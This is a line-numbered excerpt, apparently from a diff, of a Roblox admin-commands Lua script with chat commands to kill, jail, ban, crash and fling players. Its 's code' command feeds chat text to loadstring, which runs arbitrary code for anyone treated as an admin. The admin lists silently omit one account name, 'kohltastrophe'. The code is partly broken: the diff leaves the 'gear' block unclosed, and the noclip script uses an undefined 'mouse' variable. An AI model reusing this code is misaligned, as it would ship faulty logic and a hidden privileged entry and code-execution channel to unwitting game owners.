if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
555
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
556
if msg:lower() == "cmds" or msg:lower() == "commands" then
557
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
558
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
559
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
560
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
561
local ost = {"pa plr","unpa plr"}
562
local tost = {"oa plr","unoa plr"}
563
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
564
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
565
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
566
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
567
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
568
end
569
570
if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
571
572
if msg:lower() == "admins" or msg:lower() == "adminlist" then
573
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
574
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
575
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
576
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
577
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
578
end end
579
580
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
581
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
582
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
583
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
584
end
585
586
if msg:lower() == "tools" or msg:lower() == "toollist" then
587
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
588
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
589
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
590
end
591
592
if msg:lower():sub(1,2) == "s " then
593
coroutine.resume(coroutine.create(function()
594
Output(msg:sub(3), plr)
595
if script:findFirstChild("ScriptBase") then
596
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
597
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
598
else loadstring(msg:sub(3))()
599
end
600
end))
601
end
602
603
if msg:lower():sub(1,3) == "ls " then
604
coroutine.resume(coroutine.create(function()
605
if script:findFirstChild("LocalScriptBase") then
606
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
607
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
608
end
609
end))
610
end
611
612
if msg:lower():sub(1,4) == "ins " then
613
coroutine.resume(coroutine.create(function()
614
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
615
if obj and #obj:children() >= 1 and plr.Character then
616
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
617
end
618
end))
619
end
620
621
if msg:lower():sub(1,5) == "gear " then
622
coroutine.resume(coroutine.create(function()
623
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(6)))
624
if obj and #obj:children() >= 1 and plr.Character then
625
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
626
end
627
end))
628-
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
628+
629
630
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
631
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
632
objects = {}
633
end
634
635
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
636
game.Lighting.Ambient = origsettings.abt
637
game.Lighting.Brightness = origsettings.brt
638
game.Lighting.TimeOfDay = origsettings.time
639
game.Lighting.FogColor = origsettings.fclr
640
game.Lighting.FogEnd = origsettings.fe
641
game.Lighting.FogStart = origsettings.fs
642
for i, v in pairs(lobjs) do v:Destroy() end
643
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
644
end
645
646
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
647
coroutine.resume(coroutine.create(function()
648
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
649
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
650
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
651
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
652
end))
653
end
654
655
if msg:lower():sub(1,2) == "m " then
656
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
657
end
658
659
if msg:lower():sub(1,2) == "h " then
660
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
661
end
662
663
if msg:lower():sub(1,3) == "pm " then
664
local chk1 = msg:lower():sub(4):find(" ") + 3
665
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
666
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
667
end
668
669
if msg:lower():sub(1,11) == "resetstats " then
670
local plrz = GetPlr(plr, msg:lower():sub(12))
671
for i, v in pairs(plrz) do
672
coroutine.resume(coroutine.create(function()
673
if v and v:findFirstChild("leaderstats") then
674
for a, q in pairs(v.leaderstats:children()) do
675
if q:IsA("IntValue") then q.Value = 0 end
676
end
677
end
678
end))
679
end
680
end
681
682
if msg:lower():sub(1,4) == "hat " then
683
local chk1 = msg:lower():sub(5):find(" ") + 4
684
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
685
for i, v in pairs(plrz) do
686
coroutine.resume(coroutine.create(function()
687
if v and v.Character then
688
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
689
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
690
obj:Destroy()
691
end
692
end))
693
end
694
end
695
696
if msg:lower():sub(1,5) == "cape " then
697
local chk1 = msg:lower():sub(6):find(" ")
698
local plrz = GetPlr(plr, msg:lower():sub(6))
699
local str = "torso.BrickColor"
700
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
701
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
702
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
703
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
704
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
705
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
706
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
707
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
708
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
709
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
710
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
711
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
712
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
713
if BrickColor.new(teststr) ~= nil then str = teststr end
714
end
715
for i, v in pairs(plrz) do
716
coroutine.resume(coroutine.create(function()
717
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
718
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
719
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
720
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
721
local torso = plr.Character.Torso
722
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
723
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
724
p.Size = Vector3.new(.2,.2,.2)
725
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
726
local motor1 = Instance.new("Motor", p)
727
motor1.Part0 = p
728
motor1.Part1 = torso
729
motor1.MaxVelocity = .01
730
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
731
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
732
local wave = false
733
repeat wait(1/44)
734
local ang = 0.1
735
local oldmag = torso.Velocity.magnitude
736
local mv = .002
737
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
738
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
739
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
740
motor1.DesiredAngle = -ang
741
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
742
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
743
if torso.Velocity.magnitude < .1 then wait(.1) end
744
until not p or p.Parent ~= torso.Parent
745
script:Destroy()
746
]] cl.Parent = v.PlayerGui cl.Disabled = false
747
end
748
end))
749
end
750
end
751
752
if msg:lower():sub(1,7) == "uncape " then
753
local plrz = GetPlr(plr, msg:lower():sub(8))
754
for i, v in pairs(plrz) do
755
coroutine.resume(coroutine.create(function()
756
if v and v:findFirstChild("PlayerGui") and v.Character then
757
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
758
end
759
end))
760
end
761
end
762
763
if msg:lower():sub(1,7) == "noclip " then
764
local plrz = GetPlr(plr, msg:lower():sub(8))
765
for i, v in pairs(plrz) do
766
coroutine.resume(coroutine.create(function()
767
if v and v:findFirstChild("PlayerGui") then
768
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera  local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
769
cl.Parent = v.PlayerGui cl.Disabled = false
770
end
771
end))
772
end
773
end
774
775
if msg:lower():sub(1,5) == "clip " then
776
local plrz = GetPlr(plr, msg:lower():sub(6))
777
for i, v in pairs(plrz) do
778
coroutine.resume(coroutine.create(function()
779
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
780
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
781
v.Character.Torso.Anchored = false
782
wait(.1) v.Character.Humanoid.PlatformStand = false
783
end
784
end))
785
end
786
end
787
788
if msg:lower():sub(1,5) == "jail " then
789
local plrz = GetPlr(plr, msg:lower():sub(6))
790
for i, v in pairs(plrz) do
791
coroutine.resume(coroutine.create(function()
792
if v and v.Character and v.Character:findFirstChild("Torso") then 
793
local vname = v.Name
794
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
795
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
796
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
797
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
798
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
799
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
800
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
801
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
802
end)
803
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
804
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
805
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
806
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
807
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
808
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
809
local msh2 = msh:Clone() msh2.Parent = back
810
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
811
local msh4 = msh3:Clone() msh4.Parent = left
812
v.Character.Torso.CFrame = cf
813
end
814
end))
815
end
816
end
817
818
if msg:lower():sub(1,7) == "unjail " then
819
local plrz = GetPlr(plr, msg:lower():sub(8))
820
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
821
end
822
823
if msg:lower():sub(1,11) == "starttools " then
824
local plrz = GetPlr(plr, msg:lower():sub(12))
825
for i, v in pairs(plrz) do
826
coroutine.resume(coroutine.create(function()
827
if v and v:findFirstChild("Backpack") then
828
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
829
end
830
end))
831
end
832
end
833
834
if msg:lower():sub(1,6) == "sword " then
835
local plrz = GetPlr(plr, msg:lower():sub(7))
836
for i, v in pairs(plrz) do
837
coroutine.resume(coroutine.create(function()
838
if v and v:findFirstChild("Backpack") then
839
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
840
sword.GripForward = Vector3.new(-1,0,0)
841
sword.GripPos = Vector3.new(0,0,-1.5)
842
sword.GripRight = Vector3.new(0,1,0)
843
sword.GripUp = Vector3.new(0,0,1)
844
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
845
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
846
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
847
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
848
local Damage = 15
849
local SlashSound = Instance.new("Sound", script.Parent.Handle)
850
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
851
SlashSound.Volume = 1
852
local LungeSound = Instance.new("Sound", script.Parent.Handle)
853
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
854
LungeSound.Volume = 1
855
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
856
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
857
UnsheathSound.Volume = 1
858
local last = 0
859
script.Parent.Handle.Touched:connect(function(hit)
860
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
861
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
862
hit.Parent.Humanoid:TakeDamage(Damage)
863
end
864
end)
865
script.Parent.Activated:connect(function()
866
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
867
script.Parent.Enabled = false
868
local tick = game:service("RunService").Stepped:wait()
869
if tick - last <= .2 then
870
LungeSound:play()
871
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
872
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
873
wait(.2)
874
script.Parent.GripForward = Vector3.new(0,0,1)
875
script.Parent.GripRight = Vector3.new(0,-1,0)
876
script.Parent.GripUp = Vector3.new(-1,0,0)
877
wait(.3)
878
frc:Destroy() wait(.5)
879
script.Parent.GripForward = Vector3.new(-1,0,0)
880
script.Parent.GripRight = Vector3.new(0,1,0)
881
script.Parent.GripUp = Vector3.new(0,0,1)
882
else
883
SlashSound:play()
884
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
885
end
886
last = tick
887
script.Parent.Enabled = true
888
end)
889
script.Parent.Equipped:connect(function(mouse)
890
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
891
UnsheathSound:play()
892
script.Parent.Enabled = true
893
if not mouse then return end
894
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
895
end)]] cl.Disabled = false 
896
end
897
end))
898
end
899
end
900
901
if msg:lower():sub(1,5) == "kill " then
902
local plrz = GetPlr(plr, msg:lower():sub(6))
903
for i, v in pairs(plrz) do
904
coroutine.resume(coroutine.create(function()
905
if v and v.Character then v.Character:BreakJoints() end
906
end))
907
end
908
end
909
910
if msg:lower():sub(1,8) == "respawn " then
911
local plrz = GetPlr(plr, msg:lower():sub(9))
912
for i, v in pairs(plrz) do
913
coroutine.resume(coroutine.create(function()
914
if v and v.Character then v:LoadCharacter() end
915
end))
916
end
917
end
918
919
if msg:lower():sub(1,5) == "trip " then
920
local plrz = GetPlr(plr, msg:lower():sub(6))
921
for i, v in pairs(plrz) do
922
coroutine.resume(coroutine.create(function()
923
if v and v.Character and v.Character:findFirstChild("Torso") then 
924
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
925
end
926
end))
927
end
928
end
929
930
if msg:lower():sub(1,5) == "stun " then
931
local plrz = GetPlr(plr, msg:lower():sub(6))
932
for i, v in pairs(plrz) do
933
coroutine.resume(coroutine.create(function()
934
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
935
v.Character.Humanoid.PlatformStand = true
936
end
937
end))
938
end
939
end
940
941
if msg:lower():sub(1,7) == "unstun " then
942
local plrz = GetPlr(plr, msg:lower():sub(8))
943
for i, v in pairs(plrz) do
944
coroutine.resume(coroutine.create(function()
945
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
946
v.Character.Humanoid.PlatformStand = false
947
end
948
end))
949
end
950
end
951
952
if msg:lower():sub(1,5) == "jump " then
953
local plrz = GetPlr(plr, msg:lower():sub(6))
954
for i, v in pairs(plrz) do
955
coroutine.resume(coroutine.create(function()
956
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
957
v.Character.Humanoid.Jump = true
958
end
959
end))
960
end
961
end
962
963
if msg:lower():sub(1,4) == "sit " then
964
local plrz = GetPlr(plr, msg:lower():sub(5))
965
for i, v in pairs(plrz) do
966
coroutine.resume(coroutine.create(function()
967
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
968
v.Character.Humanoid.Sit = true
969
end
970
end))
971
end
972
end
973
974
if msg:lower():sub(1,10) == "invisible " then
975
local plrz = GetPlr(plr, msg:lower():sub(11))
976
for i, v in pairs(plrz) do
977
coroutine.resume(coroutine.create(function()
978
if v and v.Character then 
979
for a, obj in pairs(v.Character:children()) do 
980
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
981
end
982
end
983
end))
984
end
985
end
986
987
if msg:lower():sub(1,8) == "visible " then
988
local plrz = GetPlr(plr, msg:lower():sub(9))
989
for i, v in pairs(plrz) do
990
coroutine.resume(coroutine.create(function()
991
if v and v.Character then 
992
for a, obj in pairs(v.Character:children()) do 
993
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
994
end
995
end
996
end))
997
end
998
end
999
1000
if msg:lower():sub(1,5) == "lock " then
1001
local plrz = GetPlr(plr, msg:lower():sub(6))
1002
for i, v in pairs(plrz) do
1003
coroutine.resume(coroutine.create(function()
1004
if v and v.Character then 
1005
for a, obj in pairs(v.Character:children()) do 
1006
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
1007
end
1008
end
1009
end))
1010
end
1011
end
1012
1013
if msg:lower():sub(1,7) == "unlock " then
1014
local plrz = GetPlr(plr, msg:lower():sub(8))
1015
for i, v in pairs(plrz) do
1016
coroutine.resume(coroutine.create(function()
1017
if v and v.Character then 
1018
for a, obj in pairs(v.Character:children()) do 
1019
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
1020
end
1021
end
1022
end))
1023
end
1024
end
1025
1026
if msg:lower():sub(1,8) == "explode " then
1027
local plrz = GetPlr(plr, msg:lower():sub(9))
1028
for i, v in pairs(plrz) do
1029
coroutine.resume(coroutine.create(function()
1030
if v and v.Character and v.Character:findFirstChild("Torso") then 
1031
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
1032
end
1033
end))
1034
end
1035
end
1036
1037
if msg:lower():sub(1,4) == "age " then
1038
local plrz = GetPlr(plr, msg:lower():sub(5))
1039
for i, v in pairs(plrz) do
1040
coroutine.resume(coroutine.create(function()
1041
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
1042
end))
1043
end
1044
end
1045
1046
if msg:lower():sub(1,5) == "fire " then
1047
local plrz = GetPlr(plr, msg:lower():sub(6))
1048
for i, v in pairs(plrz) do
1049
coroutine.resume(coroutine.create(function()
1050
if v and v.Character and v.Character:findFirstChild("Torso") then 
1051
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
1052
end
1053
end))
1054
end
1055
end
1056
1057
if msg:lower():sub(1,7) == "unfire " then
1058
local plrz = GetPlr(plr, msg:lower():sub(8))
1059
for i, v in pairs(plrz) do
1060
coroutine.resume(coroutine.create(function()
1061
if v and v.Character and v.Character:findFirstChild("Torso") then 
1062
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
1063
end
1064
end))
1065
end
1066
end
1067
1068
if msg:lower():sub(1,6) == "smoke " then
1069
local plrz = GetPlr(plr, msg:lower():sub(7))
1070
for i, v in pairs(plrz) do
1071
coroutine.resume(coroutine.create(function()
1072
if v and v.Character and v.Character:findFirstChild("Torso") then 
1073
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
1074
end
1075
end))
